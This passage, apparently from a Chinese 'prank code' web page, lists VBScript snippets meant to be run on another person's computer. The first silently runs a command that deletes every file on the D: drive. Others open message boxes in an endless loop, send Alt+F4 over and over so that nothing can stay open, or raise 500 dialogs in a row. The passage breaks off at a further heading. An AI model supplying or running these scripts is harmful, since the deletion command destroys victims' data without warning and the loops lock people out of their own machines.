整人输入指定内容退出html,整人代码

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

六、不断弹出窗口

----------------------------------------------------------------------------

复制代码代码如下:

while(1)

msgbox "哈哈你被耍了！"

loop

----------------------------------------------------------------------------

七、不断按下alt+f4 (开什么都关闭……)

---------------------------------------------------------------------------

复制代码代码如下:

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

八、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中do until s=500 ，500可以随意更改) 复制代码代码如下:

dim s

do until s=500

s=s+1

msgbox "哥们，给我按500次回车吧",64

loop

'------------------------ ------------------------------------------------------------

九、关不掉的窗口

复制代码代码如下: